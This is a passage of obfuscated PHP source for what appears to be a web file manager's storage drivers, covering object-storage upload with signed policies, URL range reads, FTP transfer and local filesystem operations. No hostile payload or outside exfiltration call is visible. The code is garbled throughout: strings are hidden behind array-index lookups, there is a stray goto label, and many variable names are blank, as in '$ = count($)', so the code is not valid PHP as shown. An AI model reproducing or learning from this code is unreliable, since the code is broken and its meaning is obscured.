count($); $ = count($); $Ɛ = $ - $; if ($Ǐힹ) { $ += $; $ += $Ɛ; if ($ < $Lj) { break; } continue; } if ($혴) { if ($Ɛ) { return !0; } } else { if ($) { return !0; } } if ($ < $Lj) { break; } } if ($Ǐힹ) { return array($ʞ[207] => $, $ʞ[208] => $); } return !1; } public function listAll($֦) { $ =& $_SERVER[ﻻ]; $ث = $ = array(); $this->fileList($֦, $ث, $, !0); $ݠ = array_to_keyvalue($, $[32]); foreach ($ث as $ƌ) { if (is_string($ƌ)) { $ݠ[$ƌ] = array($[76] => 0); } } return $this->listAllFiles($֦, $ݠ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ǯ, $ħ = '') { $ =& $_SERVER[ﻻ]; if (!$ħ) { $Ð = $this->ussRequest($ǯ, $[226]); return $Ð[$[1222]]; } $ﺪ = $this->tempFile($this->pathThis($ǯ)); file_put_contents($ﺪ, $ħ); if ($this->upload($ǯ, $ﺪ)) { $this->tempFileRemve($ﺪ); return !0; } return !1; } public function fileSubstr($ް, $, $) { $ =& $_SERVER[ﻻ]; if (!($鈁ī = $this->link($ް))) { return !1; } $笜 = !1; if ($ > 0) { $ = $ + $ - 1; $笜 = array($[1454] . $ . $[386] . $); } $㘳 = url_request($鈁ī, $[230], !1, $笜); return $㘳[$[762]] ? $㘳[$[1212]] : !1; } public function upload($, $, $ʜ = false, $䟛 = REPEAT_REPLACE) { $ =& $_SERVER[ﻻ]; $ӷ = IO::size($); if ($ӷ <= 1024 * 1024 * 200) { $홳 = array($[1494] . $); $ = $this->ussRequest($, $[228], $홳); return $[$[1222]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ = array($[1495], $[1496] . $ӷ, $[1497], $[1498] . $); $ = $this->ussRequest($, $[228], !1, $); if (!$[$[1222]]) { return !1; } $γ = $[$[1212]]; $κ = 0; $䷙ = $γ[$[1499]]; $֜ = fopen($, $[1403]); if (!$֜) { return !1; } do { $ = $γ[$[1500]]; fseek_64($֜, $κ); $֏㵿 = fread($֜, $); $頌 = 0; do { $頌++; $γ = $this->uploadPart($, $γ, $֏㵿); } while (!$γ && $頌 < 3); if (!$γ) { return !1; } $䷙ = $γ[$[1499]]; $κ += $; } while ($䷙ != -1); fclose($֜); $ = array($[1501], $[1502] . $γ[$[1503]], $[1497]); $ = $this->ussRequest($, $[228], !1, $); return $[$[1222]] ? $this->getPathOuter($љߙ) : !1; } private function uploadPart($օ, $ӣ, &$춶) { $ =& $_SERVER[ﻻ]; $ = array($[1504], $[1502] . $ӣ[$[1503]], $[1505] . $ӣ[$[1499]], $[142] . $ӣ[$[1500]]); $ = $this->ussRequest($օ, $[228], $춶, $); return !$[$[1222]] ? $[$[1222]] : $[$[1212]]; } public function uploadFormData($ɞ, $䆭 = 3600) { return $this->uploadPolicy($ɞ, $䆭); } public function multiUploadFormData($, $ƙ = 3600) { $ɸ =& $_SERVER[ﻻ]; $ڿ = (int) $GLOBALS[$ɸ[7]][$ɸ[76]]; return $this->uploadPolicy($, $ƙ, $ڿ); } private function uploadPolicy($드, $斛 = 3600, $ӕ = 0) { $ȭ =& $_SERVER[ﻻ]; $؞ = $ȭ[8] . $this->bucket; $܃ = gmdate($ȭ[1439]); $ = array($ȭ[1506] => $this->bucket, $ȭ[1507] => $드, $ȭ[1508] => time() + $斛, $ȭ[1509] => $܃); if ($ӕ) { $[$ȭ[1419]] = $ӕ; } $Ìڸ = base64_encode(json_encode($)); $Ѣ = base64_encode(hash_hmac($ȭ[1476], "\x50\117\x53\x54\46{$؞}\x26{$܃}\x26{$Ìڸ}", md5("{$this->userpass}"), !0)); $ = array($ȭ[1344] => $Ìڸ, $ȭ[1510] => "\x55\x50\x59\125\x4e\x20{$this->username}\72{$Ѣ}", $ȭ[182] => $this->endpoint . $؞); return $; } public function download($, $Ў) { $ = IO::getPathInner(IO::mkfile($Ў)); if (!($ = $this->link($))) { return !1; } $ɐ = 0; $ũ = 1024 * 200; $Ж = fopen($, $_SERVER[ﻻ][1460]); while (!0) { $ = $this->fileSubstr($, $ɐ, $ũ); if ($ === !1) { return !1; } fwrite($Ж, $); $ɐ += $ũ; if (strlen($) < $ũ) { break; } } fclose($Ж); return $Ў; } public function link($Ռ, $ = array()) { $۫ =& $_SERVER[ﻻ]; $Ռ = trim($Ռ, $۫[8]); if (!empty($this->token)) { $ = strtotime(date($۫[1511])); $ = substr(md5($this->token . $۫[284] . $ . $۫[1512] . $Ռ), 12, 8) . $; $[] = $۫[1513] . $; } $ = !empty($) ? $۫[73] . implode($۫[284], $) : $۫[12]; return $this->getHost() . $۫[8] . $Ռ . $; } public function fileOut($䬷, $ = false, $ꑘ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($䬷, $, $ꑘ, $); } if (!$ꑘ) { $ꑘ = $this->pathThis($䬷); } $䞞 = $ ? array($_SERVER[ﻻ][1514] . rawurlencode($ꑘ)) : array(); $Ӝ = $this->link($䬷, $䞞); $this->fileOutLink($Ӝ); } public function fileOutServer($, $ = false, $ߊ = false, $̧ = '') { parent::fileOut($, $, $ߊ, $̧); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[ﻻ][1515] . $); $this->fileOutLink($); } public function fileOutImageServer($ٯ, $ߚ = 250) { parent::fileOutImage($ٯ, $ߚ); } public function hashMd5($) { $ =& $_SERVER[ﻻ]; $ڪƕ = $this->_objectMeta($); return isset($ڪƕ[$[212]]) ? $ڪƕ[$[212]] : !1; } public function size($͋) { $ъ = $this->objectMeta($͋); return $ъ ? $ъ[$_SERVER[ﻻ][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($쉸) { return $this->isFile($쉸) || $this->isFolder($쉸); } public function isFile($Դ) { return !$this->isFolder($Դ) && $this->objectMeta($Դ); } public function isFolder($鏐) { return $this->cacheMethod($_SERVER[ﻻ][165], $鏐); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ﻻ][167], $); } protected function _objectMeta($ݖ) { $ƍ =& $_SERVER[ﻻ]; if ($ݖ == $ƍ[12] || $ݖ == $ƍ[8]) { return array(); } $ = $this->ussRequest($ݖ, $ƍ[1516]); if (!$[$ƍ[1222]]) { return null; } $̞ = isset($[$ƍ[1212]]) ? $[$ƍ[1212]] : array(); if (!isset($̞[$ƍ[1517]])) { return null; } $ = array($ƍ[33] => isset($̞[$ƍ[1517]]) ? $̞[$ƍ[1517]] : null, $ƍ[76] => isset($̞[$ƍ[1518]]) ? $̞[$ƍ[1518]] : null, $ƍ[212] => isset($̞[$ƍ[1519]]) ? $̞[$ƍ[1519]] : null, $ƍ[1486] => isset($̞[$ƍ[1520]]) ? $̞[$ƍ[1520]] : null); $[$ƍ[1487]] = isset($̞[$ƍ[1521]]) ? strtotime($̞[$ƍ[1521]]) : $[$ƍ[1486]]; return $; } protected function _isFolder($֛) { $۞ =& $_SERVER[ﻻ]; if ($֛ == $۞[12] || $֛ == $۞[8]) { return !0; } $ו = $this->_objectMeta($֛); return isset($ו[$۞[33]]) && $ו[$۞[33]] == $۞[75] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($͝) { $ܬ = $this->info($͝); return $ܬ[$_SERVER[ﻻ][202]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[ﻻ][202]]; } public function isFolder($ؓˢ) { return !1; } public function size($) { $Ӏ = $this->info($); return $Ӏ[$_SERVER[ﻻ][76]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($ߺ) { return $this->infoParse($ߺ); } public function infoFull($ح) { return $this->infoParse($ح); } private function infoParse($ȥ) { $ך =& $_SERVER[ﻻ]; $ = $this->header($ȥ); if (!$ || !$[$ך[762]]) { return !1; } $ = _get($, $ך[337], 0); $ = array($ך[32] => $[$ך[32]], $ך[84] => $ȥ, $ך[33] => $ך[200], $ך[76] => intval($), $ך[174] => get_path_ext($[$ך[32]]), $ך[1400] => $ > 0 && $[$ך[1522]], $ך[1401] => !1); return $; } private function header($ח) { $ =& $_SERVER[ﻻ]; if (isset(self::$_cacheHeader[$ח])) { return self::$_cacheHeader[$ח]; } $ˆᅦ = isset($GLOBALS[$[1523]]) ? $GLOBALS[$[1523]] : !1; $GLOBALS[$[1523]] = !0; self::$_cacheHeader[$ח] = url_header($ח); $GLOBALS[$[1523]] = $ˆᅦ; return self::$_cacheHeader[$ח]; } public function hashSimple($, $ݼ = false) { $ =& $_SERVER[ﻻ]; $¯ᄑ = $this->info($); if (!$¯ᄑ || !$¯ᄑ[$[202]]) { return !1; } $Ͽ = $¯ᄑ[$[76]]; $څ = 200; $ = 50; if ($Ͽ <= $څ * $) { return md5($this->fileSubstr($, 0, $Ͽ)) . $Ͽ; } $ = intval($Ͽ / $); $ = $[12]; $ = timeFloat(); $آ = 15; for ($ʩ = 0; $ʩ < $; $ʩ++) { if (timeFloat() - $ > $آ) { return !1; } $퇒 = $this->fileSubstr($, $ * $ʩ, $څ); if (!$퇒) { return !1; } $ .= $퇒; } $ .= $this->fileSubstr($, $Ͽ - $څ, $څ); return md5($) . $Ͽ; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($ɶɶ, $מśɔ = 0, $ = -1) { $ =& $_SERVER[ﻻ]; $Ԣ = $this->info($ɶɶ); if (!$Ԣ || !$Ԣ[$[202]] && $Ԣ[$[76]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $Ԣ[$[76]]; } if ($ == 0) { return $[12]; } $ = array($[1524] . $מśɔ . $[795] . ($מśɔ + $ - 1)); $ޗ = url_request($ɶɶ, $[230], !1, $, !1, !1, 30); return $ޗ[$[1212]] ? $ޗ[$[1212]] : $[12]; } public function download($, $Ӯ) { Downloader::start($, $Ӯ); return $Ӯ; } } goto b煸; C: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[ﻻ]; global $config; $this->appCharset = $config[$[1386]]; $this->systemCharset = $config[$[1387]]; if (isset($[$[1388]]) && $[$[1388]]) { $this->systemCharset = $[$[1388]]; } } public function iconvApp($Ԧ) { return $this->iconvTo($Ԧ, $this->systemCharset, $this->appCharset); } public function iconvSystem($׳) { return $this->iconvTo($׳, $this->appCharset, $this->systemCharset); } public function getPathOuter($ߜ랔) { $ߘ =& $_SERVER[ﻻ]; $ = $this->iconvApp($this->pathBase); $ߜ랔 = $this->iconvApp($ߜ랔); if (substr($, 0, 2) == $ߘ[1389]) { $ = BASIC_PATH . substr($, 2); } if (substr($ߜ랔, 0, 2) == $ߘ[1389]) { $ߜ랔 = BASIC_PATH . substr($ߜ랔, 2); } $ = KodIO::clear($); $ߜ랔 = KodIO::clear($ߜ랔); $ߜ랔 = substr($ߜ랔, strlen($)); if (empty($this->pathDriver)) { return $ߜ랔; } return $this->pathDriver . $ߘ[8] . ltrim($ߜ랔, $ߘ[8]); } private function _init($Ȕ = array()) { $Ƶ =& $_SERVER[ﻻ]; if (!function_exists($Ƶ[1390])) { throw new Exception(LNG($Ƶ[1391])); } $this->config = $Ȕ; $this->charsetReset($Ȕ); foreach ($Ȕ as $ => $꽠) { if (isset($this->{$})) { $this->{$} = $꽠; } } return $this->_login($Ȕ); } private function _login($æ) { $ =& $_SERVER[ﻻ]; static $粨 = array(); $ց = md5(json_encode($æ)); if (isset($粨[$ց])) { foreach ($粨[$ց] as $ => $Ȑ) { $this->{$} = $Ȑ; } return !0; } $Žݦ = parse_url(trim($this->server, $[8])); $this->host = $Žݦ[$[182]]; $ݴ = isset($Žݦ[$[181]]) && $Žݦ[$[181]] == $[1392] ? !0 : !1; $this->scheme = $ݴ ? $[1393] : $[1394]; $this->port = isset($Žݦ[$[183]]) ? $Žݦ[$[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ӥ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $ӥ); $粨[$ց] = array($[1395] => $this->connect, $[182] => $this->host, $[181] => $this->scheme, $[183] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($ã, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($ã, $)) { return $this->getPathOuter($ã); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $塓 = $this->pathThis($this->iconvSystem($)); $ʕ = $this->tempFile($塓); $ᒱ = $this->iconvApp($ʕ); $this->download($, $ᒱ); $⃀ = $this->upload($, $ᒱ); $this->tempFileRemve($ʕ); return $⃀; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $, $); return $ ? $this->getPathOuter($) : !1; } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return @ftp_delete($this->connect, $); } public function delFolder($ё) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $μ = $ = array(); $this->fileList($ё, $μ, $, !0); $this->listItemCache = !0; foreach ($ as $) { $е = $this->iconvSystem($[$_SERVER[ﻻ][32]]); $Ӝ = @ftp_delete($this->connect, $е); if (!$Ӝ) { return !1; } } foreach ($μ as $е) { $е = $this->iconvSystem($е); $Ӝ = @ftp_rmdir($this->connect, $е); if (!$Ӝ) { return !1; } } $ё = $this->iconvSystem($ё); return @ftp_rmdir($this->connect, $ё); } public function rename($ַ, $ږ) { $ =& $_SERVER[ﻻ]; if (!$this->_isconn()) { return !1; } $ޑ = $this->fileNameAuto($this->pathFather($ַ), $ږ); $ޑ = $this->iconvSystem($ޑ); $ַ = $this->iconvSystem($ַ); $ = $this->pathFather($ַ); $ƺ = rtrim($, $[8]) . $[8] . $ޑ; $Ϳʐ = @ftp_rename($this->connect, $ַ, $ƺ); $ƺ = $this->iconvApp($ƺ); return $Ϳʐ ? $this->getPathOuter($ƺ) : !1; } private function folderInfo($푻, $ = false) { $ѳ =& $_SERVER[ﻻ]; $ɔ = array($ѳ[32] => $this->pathThis($푻), $ѳ[84] => $this->getPathOuter($ѳ[8] . $푻), $ѳ[33] => $ѳ[75]); if ($) { return $ɔ; } $ɔ[$ѳ[201]] = $ɔ[$ѳ[85]] = 0; $ɔ[$ѳ[202]] = $ɔ[$ѳ[203]] = !0; return $ɔ; } private function fileInfo($𨪞, $㪫 = false, $ܱ = array()) { $߱ =& $_SERVER[ﻻ]; $ߣ = array($߱[32] => $this->pathThis($𨪞), $߱[84] => $this->getPathOuter($߱[8] . $𨪞), $߱[33] => $߱[200], $߱[76] => isset($ܱ[$߱[76]]) ? $ܱ[$߱[76]] : 0, $߱[174] => $this->ext($𨪞)); if ($㪫) { return $ߣ; } $ߣ[$߱[201]] = $ߣ[$߱[85]] = 0; $ߣ[$߱[202]] = $ߣ[$߱[203]] = !0; $ = $this->iconvSystem($𨪞); $ߣ[$߱[85]] = @ftp_mdtm($this->connect, $); if (empty($ܱ)) { $ܱ = $this->objectMeta($𨪞); if (!$ܱ) { return $ߣ; } } $ߣ[$߱[76]] = $ܱ[$߱[76]]; return $ߣ; } public function size($˄) { $渵 = $this->objectMeta($˄); return $渵 ? $渵[$_SERVER[ﻻ][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ſ, &$, &$ګ, $ᨯ = false) { $ =& $_SERVER[ﻻ]; $ſ = $this->iconvSystem($ſ); if (!$this->isFolder($ſ)) { return !1; } @ftp_chdir($this->connect, $[8]); $ſ = rtrim($ſ, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ſ); if (!$) { $ = array(); } $ӿ = array($[10] => 1, $[1396] => 1); foreach ($ as $іԽԡ) { $ = $this->_listItem($іԽԡ); if ($[0] == $[771]) { continue; } $нɆ = $[8]; if (empty($нɆ) && $нɆ !== $[198] || isset($ӿ[$нɆ])) { continue; } $нɆ = $this->iconvApp($ſ . ltrim($нɆ, $[8])); $⑻ = array($[32] => $нɆ, $[33] => $[200], $[76] => $[4]); if (substr($іԽԡ, 0, 1) == $[1397]) { $⑻[$[33]] = $[75]; $⑻[$[76]] = 0; } $ = $⑻[$[33]] == $[75] ? !0 : !1; $this->cacheMethodInfoSet($нɆ, $, $⑻); if ($) { $[] = $нɆ; if ($ᨯ) { $this->fileList($нɆ, $, $ګ, $ᨯ); } continue; } $ګ[] = $⑻; } $this->cacheMethodInfoSet($ſ, !0); } private function _listItem($Ϧӷچ) { if (empty($Ϧӷچ)) { return array(); } $ݜ = preg_split($_SERVER[ﻻ][1398], $Ϧӷچ); if (count($ݜ) <= 9) { return $ݜ; } $ݜ[8] = trim(substr($Ϧӷچ, strpos($Ϧӷچ, $ݜ[7]) + strlen($ݜ[7]))); return array_splice($ݜ, 0, 9); } public function listPath($Ԯ, $̹ = false) { $ =& $_SERVER[ﻻ]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($Ԯ, $, $); foreach ($ as $ƣ => $奝ĵ) { $[$ƣ] = $this->folderInfo($奝ĵ, $̹); } foreach ($ as $ƣ => $奝ĵ) { $[$ƣ] = $this->fileInfo($奝ĵ[$[32]], $̹, $奝ĵ); } return array($[82] => $, $[83] => $); } public function has($ٙ, $܉ = false, $ڭΩ = true) { $Ч =& $_SERVER[ﻻ]; $Ň = $ = array(); $ = $܉ ? !0 : !1; $this->fileList($ٙ, $Ň, $, $); if ($܉) { return array($Ч[207] => count($), $Ч[208] => count($Ň)); } if ($ڭΩ) { if (count($)) { return !0; } } else { if (count($Ň)) { return !0; } } return !1; } public function listAll($) { $۫ =& $_SERVER[ﻻ]; if (!$this->_isconn()) { return !1; } $ƽ = $ҡ = array(); $this->fileList($, $ƽ, $ҡ, !0); $դ = array_to_keyvalue($ҡ, $۫[32]); foreach ($ƽ as $ɏ) { if (is_string($ɏ)) { $դ[$ɏ] = array($۫[76] => 0); } } return $this->listAllFiles($, $դ); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ؓ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($ؓ); file_put_contents($, $); $Ƚ = $this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $Ƚ; } public function fileSubstr($, $۬ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $۬, $); } private function ftpRequest($ރ, $į = 0, $ޛ = false) { $ރ = $this->iconvSystem($ރ); $ؘ̫ = $this->scheme . $this->host . $_SERVER[ﻻ][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ؘ̫ . $this->pathEncode($ރ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($ޛ) { $㧣 = $į + $ޛ - 1; curl_setopt($, CURLOPT_RANGE, "{$į}\x2d{$㧣}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ܰĖ = curl_exec($); curl_close($); return $ܰĖ; } public function upload($ڡū, $ң, $ = false, $珮 = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($ڡū))) { return !1; } $ڡū = $this->iconvSystem($ڡū); $ң = $this->iconvSystem($ң); $ = ftp_nb_put($this->connect, $ڡū, $ң, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($ڡū); } public function download($އ, $ŭ = '') { if (!$this->_isconn()) { return !1; } $ԟ = $this->pathFather($ŭ); if (!IO::mkdir($ԟ)) { return !1; } $އ = $this->iconvSystem($އ); $ŭ = $this->iconvSystem($ŭ); $̤Ș = ftp_nb_get($this->connect, $ŭ, $އ, FTP_BINARY); while ($̤Ș == FTP_MOREDATA) { $̤Ș = ftp_nb_continue($this->connect); } if ($̤Ș != FTP_FINISHED) { return !1; } return $this->iconvApp($ŭ); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ﻻ][165], $); } protected function objectMeta($ܮ) { return $this->cacheMethod($_SERVER[ﻻ][167], $ܮ); } protected function _objectMeta($) { $ܨ =& $_SERVER[ﻻ]; if ($ == $ܨ[12] || $ == $ܨ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ê = array($ܨ[32] => $this->iconvApp($), $ܨ[33] => $ܨ[200], $ܨ[76] => 0); @ftp_chdir($this->connect, $ܨ[8]); $ֱ = @ftp_size($this->connect, $); if ($ֱ != -1) { $Ê[$ܨ[76]] = $ֱ; } else { $а = @ftp_chdir($this->connect, $); if (!$а) { return !1; } $Ê[$ܨ[33]] = $ܨ[75]; } return $Ê; } protected function _isFolder($ר) { $͈ =& $_SERVER[ﻻ]; if ($ר == $͈[12] || $ר == $͈[8]) { return !0; } $ = $this->_objectMeta($ר); return isset($[$͈[33]]) && $[$͈[33]] == $͈[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[ﻻ][1389]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $д =& $_SERVER[ﻻ]; global $config; return $this->iconvTo($, $config[$д[1387]], $config[$д[1386]]); } public function iconvSystem($) { $ٞ =& $_SERVER[ﻻ]; global $config; return $this->iconvTo($, $config[$ٞ[1386]], $config[$ٞ[1387]]); } public function getPathOuter($ӎ) { $ =& $_SERVER[ﻻ]; $ = $this->iconvApp($this->pathBase); $ӎ = $this->iconvApp($ӎ); if (substr($, 0, 2) == $[1389]) { $ = BASIC_PATH . substr($, 2); } if (substr($ӎ, 0, 2) == $[1389]) { $ӎ = BASIC_PATH . substr($ӎ, 2); } $ = KodIO::clear($); $ӎ = KodIO::clear($ӎ); $ӎ = substr($ӎ, strlen($)); if (empty($this->pathDriver)) { return $ӎ; } return $this->pathDriver . $[8] . ltrim($ӎ, $[8]); } public function mkfile($귛, $ = '', $к = REPEAT_RENAME) { $귛 = $this->iconvSystem($귛); @touch($귛); if ($) { file_put_contents($귛, $); } @chmod($귛, $this->pathAuth); return is_file($귛) ? $this->getPathOuter($귛) : !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ل = copy_64($, $); @chmod($, $this->pathAuth); return $ل ? $this->getPathOuter($) : !1; } public function moveFile($, $ζڧ) { $this->mkdir($this->pathFather($ζڧ)); $ = $this->iconvSystem($); $ζڧ = $this->iconvSystem($ζڧ); $˝ = intval(@rename($, $ζڧ)); if (!$˝) { if ($˝ = intval(@copy_64($, $ζڧ))) { @unlink($); } } @chmod($ζڧ, $this->pathAuth); return $˝ ? $this->getPathOuter($ζڧ) : !1; } public function movePath($̢, $Й, $⢩ = false) { $ǩ =& $_SERVER[ﻻ]; $̢ = $this->iconvSystem($̢); $Й = $this->iconvSystem($Й); $ٛ = rtrim($Й, $ǩ[8]) . $ǩ[8] . ($⢩ ? $⢩ : get_path_this($̢)); if (file_exists($ٛ)) { return !1; } $֚ = intval(@rename($̢, $ٛ)); $֚ = file_exists($ٛ); return $֚ ? $this->getPathOuter($ٛ) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($ƺ) { $ǟ =& $_SERVER[ﻻ]; $ƺ = $this->iconvSystem($ƺ); if (!is_dir($ƺ)) { return !0; } if (!($ = opendir($ƺ))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $ǟ[10] || $ == $ǟ[1396]) { continue; } $ = $ƺ . $ǟ[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($ƺ); } public function rename($Ŝ, $ׇ) { $З =& $_SERVER[ﻻ]; $ = $this->fileNameAuto($this->pathFather($Ŝ), $ׇ); $ = $this->iconvSystem($); $Ŝ = $this->iconvSystem($Ŝ); $י = $this->pathFather($Ŝ); $ՠ = rtrim($י, $З[8]) . $З[8] . $; $֗ = @rename($Ŝ, $ՠ); $ՠ = $this->iconvApp($ՠ); return $֗ ? $this->getPathOuter($ՠ) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($о) { $о = $this->iconvSystem($о); if ($this->isFolder($о)) { return $this->folderInfo($о); } else { if ($this->isFile($о)) { return $this->fileInfo($о); } } return !1; } protected function infoChildren($, &$, $Ӗ = true) { $뎵л =& $_SERVER[ﻻ]; check_abort_echo(); $ = rtrim($, $뎵л[8]) . $뎵л[8]; if ($Ӗ) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ظ = readdir($)) !== !1) { if ($ظ == $뎵л[10] || $ظ == $뎵л[1396]) { continue; } $ϋ = $ . $ظ; if (is_file($ϋ) || is_link($ϋ)) { $[$뎵л[77]]++; $[$뎵л[76]] += filesize_64($ϋ); } else { if (is_dir($ϋ)) { $[$뎵л[78]]++; $this->infoChildren($ϋ, $, !1); } } } closedir($); } private function folderInfo($Ϧծ, $؆ = false) { $Ȯ =& $_SERVER[ﻻ]; $Ϧծ = rtrim($Ϧծ, $Ȯ[8]) . $Ȯ[8]; $ɠ奚 = $this->iconvApp($this->pathThis($Ϧծ)); if ($؆) { return array($Ȯ[32] => $ɠ奚, $Ȯ[84] => $this->getPathOuter($Ϧծ), $Ȯ[33] => $Ȯ[75]); } $ɨ = array($Ȯ[32] => $ɠ奚, $Ȯ[84] => $this->getPathOuter($Ϧծ), $Ȯ[33] => $Ȯ[75], $Ȯ[201] => @filectime($Ϧծ), $Ȯ[85] => @filemtime($Ϧծ), $Ȯ[1399] => @fileatime($Ϧծ), $Ȯ[1400] => is_readable($Ϧծ), $Ȯ[1401] => is_writable($Ϧծ), $Ȯ[1402] => get_mode($Ϧծ)); return $ɨ; } private function fileInfo($݃, $ = false) { $ҍ =& $_SERVER[ﻻ]; $և = $this->iconvApp($this->pathThis($݃)); if ($) { return array($ҍ[32] => $և, $ҍ[84] => $this->getPathOuter($݃), $ҍ[33] => $ҍ[200], $ҍ[76] => $this->size($݃), $ҍ[174] => $this->ext($և)); } $ = array($ҍ[32] => $և, $ҍ[84] => $this->getPathOuter($݃), $ҍ[33] => $ҍ[200], $ҍ[201] => @filectime($݃), $ҍ[85] => @filemtime($݃), $ҍ[1399] => @fileatime($݃), $ҍ[76] => $this->size($݃), $ҍ[174] => $this->ext($և), $ҍ[1400] => is_readable($݃), $ҍ[1401] => is_writable($݃), $ҍ[1402] => get_mode($݃)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($톈) { $톈 = $this->iconvSystem($톈); return @is_file($톈); } public function isFolder($鲶) { $鲶 = $this->iconvSystem($鲶); return @is_dir($鲶); } public function listPath($ʬ, $ = false) { $ԕ =& $_SERVER[ﻻ]; $ʬ = $this->iconvSystem($ʬ); $ʬ = rtrim($ʬ, $ԕ[8]) . $ԕ[8]; $ئ = array($ԕ[82] => array(), $ԕ[83] => array()); if (!($ݯ = @opendir($ʬ))) { return $ئ; } while (($ˡ = readdir($ݯ)) !== !1) { if ($ˡ == $ԕ[10] || $ˡ == $ԕ[1396]) { continue; } $ް = $ʬ . $ˡ; if (is_file($ް)) { $ئ[$ԕ[83]][] = $this->fileInfo($ް, $); } else { $ئ[$ԕ[82]][] = $this->folderInfo($ް, $); } } closedir($ݯ); return $ئ; } public function listAll($̌厸, &$ = array()) { $߷ =& $_SERVER[ﻻ]; $̌厸 = $this->iconvSystem($̌厸); $̌厸 = rtrim($̌厸, $߷[8]) . $߷[8]; if (!($ = @opendir($̌厸))) { return $; } while (($ѧ = readdir($)) !== !1) { if ($ѧ == $߷[10] || $ѧ == $߷[1396]) { continue; } $ = $̌厸 . $ѧ; $ɻ = is_dir($) && !is_link($) ? 1 : 0; $ = $ɻ ? $ . $߷[8] : $; $[] = array($߷[84] => $, $߷[75] => $ɻ, $߷[85] => intval(@filemtime($)), $߷[76] => $ɻ ? 0 : intval($this->size($))); if ($ɻ) { $this->listAll($, $); } } closedir($); return $; } public function has($, $ = false, $֓ = true) { $Ӑ =& $_SERVER[ﻻ]; $ = $this->iconvSystem($); $ = 